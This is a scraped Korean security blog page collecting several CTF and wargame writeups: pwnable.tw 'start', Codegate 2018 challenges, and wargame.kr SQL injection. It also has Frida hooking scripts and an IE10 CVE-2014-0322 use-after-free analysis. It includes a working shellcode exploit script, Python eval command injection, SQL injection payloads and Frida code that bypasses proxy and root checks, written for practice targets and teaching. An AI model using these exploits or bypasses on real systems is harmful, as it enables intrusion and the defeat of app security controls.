암호학 정리(for CTF)
2. 점검툴
'Reversing' 카테고리의 다른 글
IDA Hexray 문자열이 제대로 보이지 않을때 옵션 설정방법 (0) | 2018.09.20 |
---|---|
WinDBG 고급 명령어들 (0) | 2017.06.07 |
DBI - pin & pintool (4) | 2017.05.22 |
DBI - Frida 를 이용한 DBI (3) | 2016.09.07 |
Embedded 기기 리버싱 - 펌웨어 리버싱 (1) | 2016.07.14 |
codegate 2018 miro writeup
하다보니 다음 문제.. 이번 문제는 Miro(crypto) 다. 자신없는 암호 문제지만 도전!
Miro
주어진 파일은 miro.pcap, client.py 2개다. 하나는 패킷인데 TLS 암호화 패킷이고, client.py 는 미로 게임에 접속하는 클라이언트이다.
문제 서버에 접속하면 미로 게임을 풀어야 하는데 l, r, u, d 4 개의 방향을 이용하여 움직여야 한다. 문제는 주어진 클라이언트는 r, d 만 있다는 것.
결국 miro.pcap 을 decrypt 하는 수밖에 없다. 검색을 해 보니 최근에 이런 비슷한 문제가 출제되었던 것을 확인할 수 있었고, 동일한 방식으로 풀이가 가능했다.(링크 참고)
https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/%5B%5Droot
hello packet 중 server hello 에 certificate 정보가 포함되어 있고, 그 안의 modulus 를 이용하여 인수분해가 가능하다는 내용이다.
공개된 소스를 이용하여 돌리니 수초만에 아래와 같이 p, q 가 분해(?) 되어 나왔다.
이제 정보가 있으니 rsatool 을 이용하여 인증서를 만들어 주면 끝난다.
hyunmini@~/Desktop/06.CTF/2018/codegate$ python ./rsatool.py -p 17777324810733646969488445787976391269105128850805128551409042425916175469483806303918279424710789334026260880628723893508382860291986009694703181381742497 -q 17777324810733646969488445787976391269105128850805128551409042425916175469168770593916088768472336728042727873643069063316671869732507795155086000807594027 -e 65537 -o priv.pem Using (p, q) to initialise RSA instance n = 1c20bdc017e3caa3c579b40d439e2ecd70f12c4d7f2764784c95a3fddba00981ba9ce5b227ade47b 0a7a0a8acaba4541ab95c52f6b6de3df9ec090c6c356445b21be437abe10214d0b4a398a96743bbf 70c864687fb2ec929f01d6edab2d987fe09799ad2204a2704f33061dbf9c2e03b332f0ba1a446644 c864a06cd586d480b e = 65537 (0x10001) d = 1a5c9d3a21a9be4b8b52aaeb1b8a6f36e039485a4167bc03fb52ebe58a270d81e65211fcccaf6f49 d9e1d36b8ce0d2f3df4a790a1e575990458b18a51082138265f3b909c7155c173def686e4387b98a 9fe6ec917551d8095783b21eb98798ffb1324957b6dbf944ce591c8099a1e2f4787a28804c995964 c059d02749dfe5b81 p = 1536dc0ecfbdc740b242c755760f77f86cac9feb35190721687bd702f159c6a8184e3f75c6f3786c 0832d301372ad3165d600adf637cda4efbc99adb6185bafa1 q = 1536dc0ecfbdc740b242c755760f77f86cac9feb35190721687bd702f159c5fe0d14ef4f564011aa 270cd326b5dcc69fb2bd76673357a9fa1399581abc231c82b Saving PEM as priv.pem |
이렇게 만든 인증서를 wireshark 에 넣어주면 decrypt 된 패킷을 볼 수 있다.
TLS 패킷 우클릭 - RSA Key List - + 버튼 누르고 아래처럼 적어주면 된다.
192.168.18.129, 443, ssl, priv.pem
그러면 이제 해독된 패킷 내용을 살펴보자. l, r, u, d 모든 패킷을 확인할 수 있고, 이 확인한 명령어를 이용하여 코드를 수정해 준 후 미로를 풀어주면 된다.
이미 서버가 죽어있어서 플래그는 확인할 수 없었으나 물어보니 이렇게들 풀었다고 한다.(?)
while 1: data = recv_until(tls_client, "Input : ") print data #message user_input = raw_input() if user_input == "u": tls_client.send("9de133535f4a9fe7de66372047d49865d7cdea654909f63a193842f36038d362\n") elif user_input == "d": tls_client.send("6423e47152f145ee5bd1c014fc916e1746d66e8f5796606fd85b9b22ad333101\n") elif user_input == "r": tls_client.send("34660cfdd38bb91960d799d90e89abe49c1978bad73c16c6ce239bc6e3714796\n") elif user_input == "l": tls_client.send("27692894751dba96ab78121842b9c74b6191fd8c838669a395f65f3db45c03e2\n") else: print "Invalid input!" exit()
끝.
'CTF Writeup' 카테고리의 다른 글
Google CTF 2017 ascii art writeup (0) | 2018.04.18 |
---|---|
0ctf 2018 - LoginMe Writeup (0) | 2018.04.10 |
codegate 2018 Impel Down writeup (0) | 2018.02.06 |
codegate 2018 - rbsql writeup (0) | 2018.02.06 |
Codegate 2017 - babypwn (0) | 2017.02.28 |
codegate 2018 Impel Down writeup
풀이 시작한 김에 몇개 더 풀어봤다. 다음 문제는 impel down 이다.
Impel Down
# impel_down_ex.py from pwn import * import pickle import os r = remote('localhost',9999) print r.recvuntil('Name : ') #name = "().__class__.__base__.__subclasses__()[-17].__repr__.im_func.func_globals['linecache'].os.system('id')".encode('hex') name = "__import__('os').system('ls -al')".encode('hex') r.sendline(name) print r.recvuntil('#\n') print r.recvuntil('#\n') cmd="dig(),eval(your.name.decode('hex'))," print cmd r.sendline(cmd) print r.recv(500) print r.recv(500) =======
실행결과
======
################## Work List ################## coworker : Find Coworker For Escape tool : Find Any Tool dig : Go Deep~ bomb : make boooooooomb!!! ############################################### dig(),eval(your.name.decode('hex')), 5f5f696d706f72745f5f28276f7327292e73797374656d28276c73202d616c2729 : [Dig] depth = 1 total 16 drwxr-xr-x 2 root root 4096 Feb 5 22:30 . drwxr-xr-x 4 root root 4096 Feb 5 22:30 .. -rw-r--r-- 1 root root 3889 Feb 5 22:24 Impel_Down.py -rw-r--r-- 1 root root 121 Feb 5 22:30 run.sh
풀이한 시점에는 서버가 닫혀서 플래그는 없으나 cat /flag 등으로 플래그 확인이 가능했다고 한다.
'CTF Writeup' 카테고리의 다른 글
0ctf 2018 - LoginMe Writeup (0) | 2018.04.10 |
---|---|
codegate 2018 miro writeup (0) | 2018.02.06 |
codegate 2018 - rbsql writeup (0) | 2018.02.06 |
Codegate 2017 - babypwn (0) | 2017.02.28 |
Codegate 2014 pwn 250 Writeup + pwntools 연습 (0) | 2016.12.16 |
codegate 2018 - rbsql writeup
코게 2018 예선문제 풀이.
사정이 있어서 풀타임 참석은 못하고 저녁에 좀 풀고, 대회 끝나고 나서 서버가 닫히기 전에 웹문제만 풀어봤다.
rbsql
접속해 보니 아주 익숙한(몇년째 대회에서 보고있는 -_-;;;) 홈페이지가 나온다.
소스코드가 주어져서 분석을 해보니, 데이터베이스 대신 파일을 DB 로 사용하는 웹사이트이다.
회원 가입 시 스키마 파일에 파일명을 추가하고, 테이블 대신 파일을 생성한다.
그리고 생성된 파일에 특정 포맷으로 데이터를 저장하고 읽어온다. 결국 그 과정에서 어떤 취약점이 발생할 것으로 생각했다.
스키마 파일은 제공되지 않아서 직접 만들어 주었다.(md5 형님 제공)
소스 코드를 분석해보니 포맷은 아래와 같았다.
문자 : \x01 + 길이(1byte) + 문자
배열 : \x02 + 길이(1byte) + 문자 또는 배열,...
그리고 파싱함수(rbParse) 를 살펴보면 저 위의 포맷대로 파싱해서 값을 읽어온다.
문제는, 길이값이 1byte 라는 것. 1byte 인 데다가 256 글자까지 입력이 가능하므로, 256 글자를 입력하면 \xff + 1 = \x00 이 된다.
hyunmini@~/06.CTF/2018/codegate$ php -r 'echo chr(255);' | xxd
00000000: ff .
hyunmini@~/06.CTF/2018/codegate$ php -r 'echo chr(256);' | xxd
00000000: 00
즉, 길이값의 인티저 오버플로우를 이용하면 그 다음 항목을 마음대로 조작할 수 있다는 것이다.
umail 에 256 글자를 집어넣으면 파싱할때 길이값이 0이므로 umail 은 바로 파싱이 끝나고 다음 항목으로 넘어가게 되는데,
이때 ip 와 level 을 조작할 수 있다. 가장 중요한 것은 level 을 2 로 바꿔주는 것이다.(admin)
umail: '\x01\x20c4ca4238a0b923820dcc509a6f75849b\x01\x0dx.x.x.x\x01\x32' + 'AAAAAAAA...' (전체 256 글자)
요렇게 해서 보내면 된다.
아래는 python 코드
요렇게 가입하고 로그인하면 flag 가 뙇
'CTF Writeup' 카테고리의 다른 글
0ctf 2018 - LoginMe Writeup (0) | 2018.04.10 |
---|---|
codegate 2018 miro writeup (0) | 2018.02.06 |
codegate 2018 Impel Down writeup (0) | 2018.02.06 |
Codegate 2017 - babypwn (0) | 2017.02.28 |
Codegate 2014 pwn 250 Writeup + pwntools 연습 (0) | 2016.12.16 |
pwnable.tw - start [100 pts]
pwnable.tw - start [ 100 pts ]
pwnable.tw 풀이 시작!! (했는데..생각보다 쉽진 않네요 ㅎㅎ )
풀이 우선으로 하고 시간날 때마다 조금씩 정리해 보려고 합니다.
100 점 짜리 시작 문제이다. 우선 코드를 살펴보자.
write 와 read 시스템콜만 존재하는 매우 간단한 프로그램이다.
문자열을 push 로 스택에 밀어넣고 write 해주고, read 로 사용자에게 입력을 받은 후 add esp, 0x14 를 통해 exit 를 호출한다.
add esp, 0x14 의 주소를 무조건 호출하고 있기 때문에 read 를 통해 해당 주소까지 값을 입력해주면 원하는 주소로 eip 를 변경해줄 수 있다.
0x41414141 로 EIP 를 변조했으니 이제 원하는 코드를 실행시킬 수 있다. 보호기법은 없지만 스택주소가 랜덤으로 바뀌기 때문에 jmp esp 를 쓰거나 또는 leak 을 해야 한다.
gdb-peda$ asmsearch "jmp esp"
Searching for ASM code: 'jmp esp' in: binary ranges
Not found
jmp esp 는 없으니 mov 를 이용해 leak 을 하자.
gdb-peda$ asmsearch "mov ?,esp"
Searching for ASM code: 'mov ?,esp' in: binary ranges
0x08048087 : (89e1) mov ecx,esp
해당 코드는 write 직전의 코드이기 때문에 결국 esp 를 ecx 에 넣고 write 콜을 해서 스택 주소를 leak 할 수 있다.
그리고 또 이어서 아래의 read 를 통해 두번째 입력을 해 줄 수 있다.
이제 릭을 해온 스택 주소를 이용해서 버퍼주소로 ret 를 덮어주면 공격에 성공할 수 있다.
# ex_start.py
#!/usr/bin/python from pwn import * # set context context(arch='i386',os='linux') # print info log.info("[*] pwnable.tw (start) exploit by hyunmini") # load and connect #r = remote("127.0.0.1",8000) r = remote("chall.pwnable.tw",10000) e = ELF('./start') rop = ROP(e) ### stage 0. leak stack addr log.info(" stage 0. leak stack address") leakgadget = p32(0x8048087) # mov ecx, esp / write syscall => leak stack addr payload0 = asm('nop')*20 payload0 += leakgadget r.recvuntil(':') r.send(payload0) leakaddr = u32(r.recv(4)) log.success(" leak addr : 0x"+hex(leakaddr)) ### stage 1. exploit log.info(" stage 1. exploit!") # make payload #shellcode = asm(shellcraft.dupsh(4)) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" payload1 = asm('nop')*20 payload1 += p32(leakaddr+20) payload1 += shellcode r.sendline(payload1) log.success(" [+] Success!! got shell") r.interactive()
끝~
[번역] Smashing The Browser: From Vulnerability Discovery To Exploit
영어 공부삼아 심심풀이로 영어 기술문서 번역을 해 보려고 합니다. 여기서 작업하다 완성되면 PDF 로~
======================================================
브라우저 부수기 : 취약점 발견부터 Exploit 까지
Chen Zhang (@demi6od)
NSFOCUS Security Team
demi6d@gmail.com
https://github.com/demi6od Date: 2014 August 28 th
1. 브라우저 퍼징 기술
1.1 요약
이번 장에서는 먼저 제가 개발한 퍼저 프레임워크(StateFuzzer)와 그 안의 퍼징 전략들을 소개합니다. 그리고 퍼징결과를 기반으로 관련 취약점과 효율적인 퍼징 아이디어에 대해 이야기를 나눌 것입니다.
1.2 브라우저 퍼징 소개
1.2.1 취약점 발견
1. 화이트박스
코드 리뷰
예제 1: MWR labs
Chrome type confusion, static_cast (CVE-2013-0912)
예제 2: Pinkie Pie
2012 Pwnium (6 different bugs escape Chrome sandbox)
2013 Mobile Pwn2Own (integer overflow)
자동화된 코드 리뷰
Fortify source code analyzer
Rough auditing tool for security (RATS)
2. 블랙박스
퍼징
1.2.2 Browser Fuzzing Technology
1. 정적 퍼저 - HTML 과 Javascript 테스트 케이스를 생성
1) Krakow Labs 에서 개발한 bf3 와 같이 flash 등의 수집된 멀티미디어 문서 템플릿을 기반으로 변형
2) 브라우저 스펙에 기반한 생성
'Windows System Hacking' 카테고리의 다른 글
[개정판] "윈도우 시스템 해킹 가이드: 버그헌팅과 익스플로잇" 출간 안내 (3) | 2019.12.04 |
---|---|
Internet Explorer 10 Exploit - God mode (0) | 2017.06.07 |
쉘코드 인코더 구현 / GetPC - 현재 실행 코드(eip, pc) 구하는 방법 (1) | 2015.01.12 |
Windows Heap Internals (0) | 2014.12.17 |
Paimei - pstalker 모듈 소개 (0) | 2013.06.19 |
reversing.kr - CSHARP
reversing.kr CSHARP
C# 리버싱 문제다. 근데 툴로 디컴파일이 제대로 안된다. 쉽게 풀지 못하도록 해 둔 듯 하다.
이 말은 반대로 디컴파일이 제대로 되지 않는 함수만 분석하면 된다는 뜻과 같다.
보통 이런 문제는 동적 호출 등으로 실행 중에는 보여지도록 하는 경우가 많으니 디버깅을 하면서 살펴보려 했으나...
해당 함수가 호출도 안되고 디버깅이 제대로 되지 않아 처음에 사알짝 헤맸다.
자세히 살펴보니 method reflection (동적 호출) 을 하고 있어 디버깅이 되지 않는 것으로 확인했다.
.ctors 를 살펴보니 동적 호출하는 함수의 특정 바이트를 조작해주는 부분이 있었다.
이 부분에 브레이크 포인트를 걸고 확인해 보자. 디컴파일이 되지 않던 메소드(MetMett, 동적으로는 Form1.bb) 의 바이트들을 전부 바꿔주는 것을 확인할 수 있다.
dnspy 에서는 어셈으로만 바꿔줄 수 있고 바이트 코드를 바로 고칠수가 없어서 그냥 헥스에디터 열어서 직접 바이트를 고쳐줬다.
위는 고치기 전, 아래는 바이트 코드를 실제 동적으로 수행되는 코드로 변경해준 상태.(디컴파일 잘된다 우왕)
이제 코드를 보고 키값을 코딩으로 뽑아주면 끝~
끝~!!
'wargame > reversing.kr' 카테고리의 다른 글
Reversing.kr - replace (0) | 2017.10.23 |
---|
wargame.kr - Crypto Crackme Basic
흠..점점 풀이 정리하기가 귀찮아지고 있지만..까먹으니 간략하게만 정리!
제목이 cryto 라서 살짝 겁먹었으나 몇 분 안 걸려서 풀었다. basic 이니까...
dnspy 로 디컴파일 해서 보니 소스코드는 매우 짧았다.
핵심은 저 노란줄이다. name 은 BluSH4G 여야 하고, password 는 myEncrypt 를 거친 후의 암호화된 값과 어떤 값을 비교한다.
우선 myEncrypt 를 살펴보자.
아주 깔끔하게 암호화 방식, key, iv 를 모두 보여주고 있다. DES 이니 그대로 그냥 코드만 짜면 된다.
암호화된 값과 비교하는 값을 만들어 주는 함수를 살펴보면 아래와 같이 워게임 서버에서 받아온다. n 은 name 이다.
접속해보면 아래와 같은 암호화된 값을 뿌려주는 것을 볼 수 있다. 위에서 확인한 암호화 함수를 이용하여 복호화 함수를 만들어서
아래 값을 복호화 하면 끝인듯 하다.
파이썬 몇줄로 간단하게 샤샤샥
C:\> dec.py
key is ********~~~
풀이 끝~
'wargame > wargame.kr' 카테고리의 다른 글
wargame.kr - web chatting (650p) (0) | 2017.09.13 |
---|---|
wargame.kr - Simpleboard(600) (0) | 2017.09.12 |
wargame.kr - Easy CrackMe(500p) (1) | 2016.01.11 |
wargame.kr - fly to the moon(500p) (0) | 2016.01.07 |
wargame.kr - login filtering(450) (0) | 2016.01.06 |
Reversing.kr - replace
reversing.kr - replace 문제
reversing.kr 문제입니다. 간단하게 요점만 정리.
다이얼로그에서 사용자에게 입력값을 하나 받고, Correct 와 Incorrect 를 출력해준다.(에러 발생)
IDA로 살펴보면 어셈코드로 점프와 콜을 몇 번 해놔서 디컴파일 소스는 좀 이상하게 보인다.
한줄씩 디버거로 트레이싱 해보면, 결국 특정 코드에서 에러가 나는데, 아래처럼 특정 주소값을 0x90 으로 채우려다 에러가 난다.
주소값은 입력값 +1 을 해주면 +1 이 되는 것으로 보아, 결국 저 값으로 뭔가 조작하면 됨을 알 수 있다.
좀 더 분석해보면, correct 출력해주는 부분이 끊어져 있는데, 바로 위의 jmp 어셈블리어 때문이다.
해당 어셈블리어를 0x90(nop) 로 덮어쓰도록 해주면 답이 나온다.
계산은 12345 를 입력해 본 뒤 주소값 확인 후 0x100401071 - 0x60163604 + 12345 해주면 된다.
'wargame > reversing.kr' 카테고리의 다른 글
reversing.kr - CSHARP (1) | 2017.10.25 |
---|
wargame.kr - web chatting (650p)
이번 문제도 SQL인젝션 문제라고 한다. 역시 친절하게도 Simple SQLi (blind) 문제라고 알려준다.
채팅을 웹으로 구현해 놓았는데, 페이지 수가 2개인가 밖에 없어서 취약점은 쉽게 찾을 수 있다.
몇번 입력 후 chatview.php 페이지에 취약점이 존재함을 확인했다.
/web_chatting/chatview.php?t=1&ni=30215{인젝션} |
그런데~~ 인젝션 중 특정 조건이 되면 전체 쿼리를 다 가져오려고 시도해서 응답이 매우매우 느려진다.
(문제 힌트에서 개발자 관점으로 부하를 줄여보라는 걸 보니 일부러 그렇게 구현해 놓은듯)
잠시 고민하다가, 아래처럼 해결했다.
/web_chatting/chatview.php?t=1&ni=30215-(select+case+when+1=1+then+2+else+1+end)
/web_chatting/chatview.php?t=1&ni=30215-(select+case+when+1=2+then+2+else+1+end)
db 잘 가져오는걸 보니 이제 flag 가 있는 테이블만 찾으면 될 듯 하다.
테스트 해보니 ' 는 막혀있기 때문에 아래처럼 like 구문을 이용했다. mysql, information_schema 가 아닌 테이블(=사용자 테이블),칼럼명 조회
select concat(table_name,char(0x2c),column_name)
from information_schema.columns
where table_schema not like 0x696e666f726d6174696f6e5f736368656d61 and
table_schema not like 0x6d7973716c and
table_name not like 0x636861745f6c6f67 limit 1
해당 테이블을 조회하면 flag 가 들어있었다. 끝.
'wargame > wargame.kr' 카테고리의 다른 글
wargame.kr - Crypto Crackme Basic (0) | 2017.10.24 |
---|---|
wargame.kr - Simpleboard(600) (0) | 2017.09.12 |
wargame.kr - Easy CrackMe(500p) (1) | 2016.01.11 |
wargame.kr - fly to the moon(500p) (0) | 2016.01.07 |
wargame.kr - login filtering(450) (0) | 2016.01.06 |
wargame.kr - Simpleboard(600)
한동안 문제 안풀었더니 감이 떨어진듯 하여 문제 풀이 시작.
simpleboard
simple SQL인젝션 문제. union 인젝션이라고 대놓고 알려주는데, 스크립트가 필요할 거라고 한다.(없이 풀었..)
게시판이다. 소스를 보면 아무런 필터가 없으므로 그냥 union 인젝션이 가능하다.
idx=1 union select 1,2,3,4--
테이블명을 group_concat(table_name) 으로 이것저것 뽑아보다가 admin 관련 테이블이 없는지 확인해보려고 %adm% 을 넣었는데
readme 테이블이 얻어걸림 -_-;
escape_string 함수 때문에 ' 문자가 \' 으로 변경되므로 우회를 위해 0x7217273~~ 와 같은 식으로 써주면 된다.
-1 union select (select group_concat(column_name) from information_schema.columns where table_name like 0x726561646d6525),2,3,4--
update 쿼리에서 에러나지 않도록 cookie 체크 하는 부분에도 동일하게 넣어줘야 함. 끝.
'wargame > wargame.kr' 카테고리의 다른 글
wargame.kr - Crypto Crackme Basic (0) | 2017.10.24 |
---|---|
wargame.kr - web chatting (650p) (0) | 2017.09.13 |
wargame.kr - Easy CrackMe(500p) (1) | 2016.01.11 |
wargame.kr - fly to the moon(500p) (0) | 2016.01.07 |
wargame.kr - login filtering(450) (0) | 2016.01.06 |
ios 앱 사용자 함수 hooking (using frida)
가끔 앱해킹을 하다보면 특이한 환경 때문에(난독화 등) 사용자 일반 함수를 후킹해야 할 때가 있다.
When I analysis app, need a hook at user function sometimes in an unusual environment(obfuscation, check jailbreak, etc).
이럴때 Frida 를 이용해서 후킹이 가능하다.
In this case, frida can be used to hook.
후킹은 일반적으로 함수 주소를 구해오는데, 사용자 함수는 심볼이 없으므로 offset 을 동적으로 구해와야 한다.
Hooking is usually set to function address, the user function must obtain the offset dynamically because there are no symbols.
결론 : 앱 실행 후 base 주소를 얻고, offset 을 더해준 주소에 후킹을 걸어주면 된다.
conclusion: after running the app, obtain the base address and add the offset. then you can set a hook to the address.
var module_base = Module.findBaseAddress('testapp'); // get base addr var custom3_5fdfd4 = module_base.add(0x5fdfd4); // add function offset Interceptor.attach(custom3_5fdfd4, { // set hook onEnter: function (args) { send("[S] !!!!!!!!!!!!!! custom3() called"); // before call }, onLeave: function (retval) { //send("[W] custom3 ret: " + retval.toString() ); // after call } });
끝~
the end~
'iOS App Hacking' 카테고리의 다른 글
ios app 복호화 - Clutch 2.x 버전 (0) | 2017.02.14 |
---|---|
iOS App Debugging - LLDB (1) | 2015.08.18 |
iOS App Runtime 조작 (0) | 2015.08.17 |
ios app hacking - (1) ios app 의 구조 (0) | 2014.02.03 |
bypass proxy check using frida
모바일 앱중 proxy 체크를 할때, frida 를 이용해서 우회하기.
bypass proxy check on android device(using frida hooking)
var System = Java.use("java.lang.System"); if (System.getProperty){ System.getProperty.overloads[0].implementation = function(prop){ send("[S] called : system.getProperty("+ prop.toString() +")") if (prop.toString().toLowerCase().indexOf("proxy") > -1){ send("[W] bypass proxy check : " + prop); return; } var ret = this.getProperty(prop); send("[W] ret value : " + ret.toString()); return ret; } }
자주 느끼는 거지만 프리다 참 좋다.
frida is awesome!
'Android Hacking' 카테고리의 다른 글
Android 패킷 캡처를 위한 iptables 명령어 정리 (0) | 2018.09.12 |
---|---|
Frida 권한 오류 해결 (0) | 2018.09.11 |
모바일 앱에서 frida timeout error 해결 방법 (1) | 2017.07.26 |
DBI on Android - ADBI(Android Dynamic Binary Instrumentation) (1) | 2016.02.14 |
error: only position independent executables (PIE) are supported 에러 해결 (2) | 2016.02.05 |
모바일 앱에서 frida timeout error 해결 방법
최근에는 주로 모바일 앱 후킹시 frida 를 이용하고 있는데, 안드로이드 느린 앱을 후킹하려고 하다 보면 가끔 아래처럼
타임아웃 메시지가 나오며 죽어버리는 경우가 있다.
이 경우 해결방법.
hyunmini:02.dbi $ python dbi.py Traceback (most recent call last): File "dbi.py", line 73, in <module> main(target_process) File "dbi.py", line 54, in main pid = frida.get_usb_device().spawn([target_process]) File "/Library/Python/2.7/site-packages/frida/core.py", line 85, in spawn return self._impl.spawn(argv) frida.TimedOutError: unexpectedly timed out while waiting for app to launch |
...
pid = frida.get_usb_device().spawn([target_process])
...
앱 실행하는 위 코드에 timeout 인자값을 주면 됨(;;)
...
pid = frida.get_usb_device(timeout=10).spawn([target_process])
...
이제 잘 된다.
hyunmini:02.dbi $ python dbi.py >>>> Start Native Hooking <<<< [+] find open() address: 0xf6fda1af [+] find fopen() address: 0xf6ff658d [+] find access() address: 0xf6fd7d65 [+] find stat() address: 0xf6fdb125 [+] find strcasecmp() address: 0xf6ffd39d [+] find strcmp() address: 0xf6fd66dc [!!] Starting Java Hooking... Runtime.loadLibrary: soundpool Runtime.loadLibrary: authmanager Runtime.loadLibrary: webviewchromium Runtime.loadLibrary: webviewchromium_plat_support Runtime.loadLibrary: NS***** Runtime.loadLibrary: ap1.7.8 Runtime.loadLibrary: a**** [+] Hooking /data/app/com.*****-1/lib/arm/lib****.so!****1 [*] bypass rooting check : called - *****() |
'Android Hacking' 카테고리의 다른 글
Frida 권한 오류 해결 (0) | 2018.09.11 |
---|---|
bypass proxy check using frida (4) | 2017.08.08 |
DBI on Android - ADBI(Android Dynamic Binary Instrumentation) (1) | 2016.02.14 |
error: only position independent executables (PIE) are supported 에러 해결 (2) | 2016.02.05 |
안드로이드 루팅 탐지 우회 (0) | 2015.08.07 |
Internet Explorer 10 Exploit - (CVE-2014-0322 + Godmode)
아래 공개된 Exploit 코드를 참고 했습니다.
http://expdev-kiuhnm.rhcloud.com/2015/05/11/contents/
단, 공개된 calc 파일 생성 Exploit 이 아닌 약간의 수정을 거친 코드입니다.(modified by hyunmini)
================================================================================================
위의 게시물에도 적혀있듯이, CVE-2014-0322 + Godmode Exploit 을 이해하려면 생각보다 많은 추가 지식이 필요 하다.
앞에서 Int32Array 객체의 length 를 변조하여(00 00 00 16 => 20 00 00 16) 1 byte 변조 만으로 info leak 및 ASLR 우회가 가능함을 확인했다.
CVE-2014-0322 취약점(inc 1 byte Use-After-Free)을 이용하면 1 바이트 증가시킬 수 있다. 이를 이용하여 DEP/ASLR 을 우회하여 공격이 가능하다.
#### CVE-2014-0322 분석 ####
C:\Users\I-Pub>"C:\Program Files\Windows Kits\10\Debuggers\x86\gflags.exe" /i iexplore.exe +ust +hpa
Current Registry Settings for iexplore.exe executable are: 02001000
ust - Create user mode stack trace database
hpa - Enable page heap
<!-- CVE-2014-0322 --> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> // 최신 브라우저로 동작하도록 해줌. 호환성모드 무시하고 동작하도록 해줌 </head> <body> <script> function handler() { this.outerHTML = this.outerHTML; // free } function trigger() { var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); } trigger(); </script> </body> </html>
(578.8a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=254ccfa0 ecx=77d463e0 edx=00171078 esi=2b652cc0 edi=2556cfc8
eip=6307100c esp=0a67b540 ebp=0a67b5a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
MSHTML!CMarkup::NotifyElementEnterTree+0x266:
6307100c ff4678 inc dword ptr [esi+78h] ds:0023:2b652d38=????????
0:013> dd esi // dangling pointer (uaf)
2b652cc0 ???????? ???????? ???????? ????????
2b652cd0 ???????? ???????? ???????? ????????
2b652ce0 ???????? ???????? ???????? ????????
0:013> !heap -p -a 2b652d38
address 2b652d38 found in
_DPH_HEAP_ROOT @ 171000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
2b710f08: 2b652000 2000
6e2c90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77db69d4 ntdll!RtlDebugFreeHeap+0x0000002f
77d79e5b ntdll!RtlpFreeHeap+0x0000005d
77d46416 ntdll!RtlFreeHeap+0x00000142
763bc584 kernel32!HeapFree+0x00000014
62ee8f06 MSHTML!CMarkup::`vector deleting destructor'+0x00000026
62eb55da MSHTML!CBase::SubRelease+0x0000002e
62ee4183 MSHTML!CMarkup::Release+0x0000002d
632b14d1 MSHTML!InjectHtmlStream+0x00000716 // CMarkup 해제하는 함수 호출함
632b1567 MSHTML!HandleHTMLInjection+0x00000082
632acfec MSHTML!CElement::InjectInternal+0x00000506
632ad21d MSHTML!CElement::InjectTextOrHTML+0x000001a4
6319ea80 MSHTML!CElement::put_outerHTML+0x0000001d // this.outerHTML = this.outerHTML;
634a309c MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x00000054
6dee847a jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185
6dee92c5 jscript9!Js::JavascriptArray::GetSetter+0x000000cf
6df46c56 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x000005a8
6df1c53b jscript9!Js::InterpreterStackFrame::Process+0x00000fbf
6dee5cf5 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305
#### UAF 객체 확인하기 ####
0:013> bp mshtml + 0x22100c
0:013> .restart // 재시작 후 아무거나 클릭
0:012> r
eax=00000000 ebx=079b2158 ecx=cd160735 edx=00000000 esi=0c87f9a8 edi=0cbef9f8
eip=6307100c esp=048ea760 ebp=048ea7c8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSHTML!CMarkup::NotifyElementEnterTree+0x266:
6307100c ff4678 inc dword ptr [esi+78h] ds:0023:0c87fa20=00000002
0:012> !heap -p -a esi
address 0c87f9a8 found in
_HEAP @ 3a0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0c87f9a0 0069 0000 [00] 0c87f9a8 00340 - (busy)
MSHTML!CMarkup::`vftable'
객체 크기는 0x340 이며, CMarkup 임을 알 수 있다.
0:012> dd esi
0c87f9a8 62e74a18 00000001 00000000 00000008
0c87f9b8 00000000 00000000 00000000 00000000
0c87f9c8 00000000 00000000 00000000 00000000
0:012> dds poi(esi) // VFTable 확인 => CMarkup 객체
62e74a18 630275f0 MSHTML!CMarkup::PrivateQueryInterface
62e74a1c 62e901e0 MSHTML!CMarkup::PrivateAddRef
62e74a20 62e901bd MSHTML!CMarkup::PrivateRelease
62e74a24 634aa3cd MSHTML!CBase::PrivateGetTypeInfoCount
이로써 해제된 CMarkup 객체를 다시 사용하려다 발생하는 UAF 임을 알 수 있다.
객체는 일반적으로 reference count 가 0 이 되면 해제되는데, 관련된 메소드들은 아래와 같다.
0:026> x mshtml!cmarkup::*ref
62ee5aec MSHTML!CMarkup::ElementAddRef (<no parameter info>)
62e901e0 MSHTML!CMarkup::PrivateAddRef (<no parameter info>)
62ee41b9 MSHTML!CMarkup::AddRef (<no parameter info>)
0:026> x mshtml!cmarkup::*release
62e901bd MSHTML!CMarkup::PrivateRelease (<no parameter info>)
62ee414a MSHTML!CMarkup::Release (<no parameter info>)
6308f9ef MSHTML!CMarkup::ElementRelease (<no parameter info>)
하지만 addref 와 release 가 너무 많이 호출되서 저것만으론 분석이 어려움.
그래서 mshtml!CMarkup::CMarkup, mshtml!CMarkup::~CMarkup 으로 분석
분석을 위해 다들 하는 대로 atan2 함수를 이용했다. 분석 전에 처음에 설정해둔 디버깅용 힙 플래그를 해제해 주어야 한다.
(해제하지 않으면 LFH 가 활성화 되지 않아 메모리를 원하는 위치에 다시 할당할 수 없다)
C:\Users\I-Pub>"C:\Program Files\Windows Kits\10\Debuggers\x86\gflags.exe" /i iexplore.exe -ust -hpa
